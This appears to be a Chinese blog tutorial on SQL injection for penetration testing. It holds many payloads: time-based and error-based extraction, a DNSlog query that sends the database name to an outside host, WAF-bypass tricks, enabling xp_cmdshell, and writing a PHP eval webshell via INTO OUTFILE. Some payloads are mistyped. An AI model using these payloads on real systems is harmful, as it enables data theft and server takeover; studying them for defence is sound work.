【渗透测试】浅谈SQL注入

目录

什么是SQL注入?

SQL注入的类型有哪些?

Mysql数据库5.0以下版本和5.0以上版本的区别?

除了sleep还有哪些SQL盲注的函数?

判断SQL注入的数据库类型?

常见数据库webshell的方法

SQLMAP --os-shell的原理

SQL注入修复的方法


什么是SQL注入?

通俗来讲,就是在参数里写入恶意的SQL语句,能够在后台数据库执行,对数据库进行增删改查等操作。

SQL注入的类型有哪些?

联合注入

缺点是只能用在select最后处,后面如果还有sql语句就必须注释掉。
select * from user where id = 1 order by 3
select * from user where id = -1 union select 1,2,3
select * from user where id = -1 union select database(),2,3

时间盲注

Mysql数据库:

sleep()函数

id=1 and sleep(2)
id=1 and if(length(database())=8,sleep(10),1)--+
id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1)--+
id=1' and if(left(database(),1)='s',sleep(10),1)--+

Microsoft SQL Server数据库:

waitfor delay

if ((select count(*) from master.dbo.sysdatabases where dbid=5)=1) waitfor delay "0:0:3"--

oracle数据库:

DBMS_PIPE.RECEIVE_MESSAGE()函数和decode()函数

DBMS_PIPE.RECEIVE_MESSAGE()
1 and 1=(select decode(substr(user,1,1),'E',dbms pipe.receive message('RDS',5),0)from dual)
​
decode不仅可以在布尔盲注中运用,也可以用在延迟盲注中。
在decode注入里加入延时语句。这里加入了我们的dbms_pipe.receive_message函数。
?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --
​
花费更多的时间去查询所有数据库的表:
?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1'

布尔盲注

当Web页面没有错误回显且存在SQL注入时,就可以利用True和False的关系进行注入:
SELECT * from users WHERE id = 1 and (length(database())=8)
SELECT * from users WHERE id = 1 and (length(database())>8)

报错注入

floor
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group
by x)a);
extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
exp()
id=1 and exp(~(select * from(select
user())a));

堆叠注入

常见于mssql数据库
必须用到mysqli_multi_query()函数
通常SQL注入具有诸多限制,比如只能查不能增删改也不能更改数据库设置,而堆叠注入相当于直接获取了数据库密码。
id=1;select user();

宽字节注入

当前端采用窄字节而数据库采用宽字节编码,且存在反斜杠对单引号进行转移时,可以使用宽字节注入的方式进行注入。
id=%df%27 //浏览器url解码->β'转换为16进制->0xdf0x5c0x27转换为url编码->%df%5c%27再进行url解码->運' 导致单引号逃逸。
常见宽字节:GB2312、GBK、GB18030、BIG5 默认英文一个字节,中文两字节
前一个ascii码要大于128,才能到汉字的范围。
在php.ini文件中,开启了magic_quotes_gpc=on之后,便能实现addslshes()和stripslashes()
%df' union select 1, password from users where 1=1 limit 0,1 %23

Cookie注入

当get参数和post参数被安全防护时,且cookie也被存入数据库,request方法获取cookie值时没有进行筛选,就会导致Cookie注入。

dnslog盲注

id=2 and 1=(selectload_file(concat('\\\\',hex(database()),'.test.dnslog.cn\\test')))

二次注入

SQL语句存储到数据库,然后利用存储的数据进行二次注入
例如:注册时注册一个用户名为 admin'# 的用户,在修改密码时
update user set password = '$password' where username = 'admin'#'
导致修改的是admin管理员的密码,而不是用户 admin'# 的密码。

Mysql数据库5.0以下版本和5.0以上版本的区别?

5.0以上版本存在一个存储着数据库信息的信息数据库--information_schema,包含所有数据库的基础信息,例如数据库名、表名等,SQL注入可以通过查询该表获取数据库相关信息。而5.0以下版本没有,注入只能靠暴力破解。
5.0以上是多用户多操作,5.0以下是多用户单操作。

除了sleep还有哪些SQL盲注的函数?

benchmark()
benchmark函数是用来重复执行某个语句的函数,我们可以用这个函数来测试数据库的读写性能等。
benchmark(N,expression)
select benchmark(10000000,sha(1));
笛卡尔积
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
GET_LOCK
延时精确可控,利用环境有限,需要开两个session测试。 
select get_lock('test',1);
select get_lock('test',5);
RLIKE
过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

判断SQL注入的数据库类型?

特定函数的判断

len和length,

在mssql和mysql以及db2内,返回长度值是调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。

@@version和version()

在mysql内,可以用@@version或是version()来返回当前的版本信息。但无法判断是mysql还是mssql时,可以用version()函数来构造判断。
​
version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

substring和substr

在mssql中可以调用substring。oracle则只可调用substr
​
根据盲注

MySQL

BENCHMARK(1000000,ENCODE('QWE','ASD'))
SLEEP(5)

SQL Server

WAITFOR DELAY '0:0:5'

PostgreSQL

PG_SLEEP(5)
GENERATE_SERIES(1,1000000)

Oracle

DBMS_PIPE.RECEIVE_MESSAGE

基于错误回显判断

错误提示Microsoft JET Database Engine 错误 '80040e14',说明是Access数据库,如果是ODBC的话则是mssql数据库。

基于辅助的符号判断

“/*”是MySQL中的注释符
​
“--”是Oracle和MSSQL支持的注释符,
​
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
​
#是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/

如何绕过WAF

  • 架构层绕WAF

用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。

  • 资源限制角度绕WAF

由于数据太大,会导致waf无法将所有的数据都检测完,从而绕过WAF

  • 协议层面绕过WAF

  1. 文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf

  1. 基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型

  1. 参数污染:有的waf仅对部分内容进行过滤,

index.php?id=1&id=2' 

这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入

  • 规则层面绕过

可以在注入点,测试waf到底拦截的哪一部分的数据,如果是空格,可以尝试:/%!%2f/

<--------------------------------------------------举例 ------------------------------------------------------>

大小写绕过 uNioN SeleCt 1,2,3;

双写绕过 ununionion selselectect 1,2,3;

编码绕过(URL全编码、十六进制)

内联注释绕过 /**/

逻辑符号替换(and=&&,or=||,not=!)

缓冲区溢出1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();

常见数据库webshell的方法

Mysql:

文件写入或者日志写入

条件:

  • 数据库root权限或者具有文件写入的权限;

  • 知道网站的绝对路径

  • Mysql中的secure_file_priv参数不能问NULL

mysql的file系列函数读取敏感文件或者写入webshell,比较常用的

into dumpfile() //只能导出一行,但保持原数据格式,比较常用。

into outfile() //可以导出多行,写入文件时有特殊的格式转化

load_file()

是否上传成功受到参数secure_file_priv的影响,

其中参数secure_file_priv为空时,对导入导出无限制

当值为特定的目录时,只能向指定的目录导入导出

当值为NULL时,禁止导入导出

我们可以通过select @@secure_file_priv查询,需要通过配置文件进行修改并重启生效。

SQLServer

xp_cmdshell、log备份写入shell、差异备份写入shell

条件:

  • 获取相应的权限db_owner

  • 获取Web目录的绝对路径

当xp_cmdshell被SQLServer默认关闭时,可以使用命令开启它:

EXEC sp_configure 'show advanced options',1;//允许修改高级参数RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;//打开xp_cmdshell扩展RECONFIGURE;--

Payload:

1’;execmaster..xp_cmdshell'echo^>F:\PhpStudy20180211\PHPTutorial\WWW\cmd.php';

Oracle

使用“文件访问包”的形式写入Webshell

条件:

  • 有DBA权限

  • 获取Web目录的绝对路径

SQLMAP --os-shell的原理

写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。

注意:关闭sqlmap文件就会被删除。

前提条件:,有读写权限,有create、insert、select权限

创建一个表

create table shell (cmd text NOT NULL)

插入数据

insert into shell(cmd) values('<?php eval($_POST['key']);?>')

导出一句话

select cmd from shell into outfile '/var/www/webshell.php'

删除表

drop table if exists shell;

SQL注入修复的方法

预编译

最低权限原则

关闭数据库错误回显

特殊字符过滤以及转移

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello_Brian

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值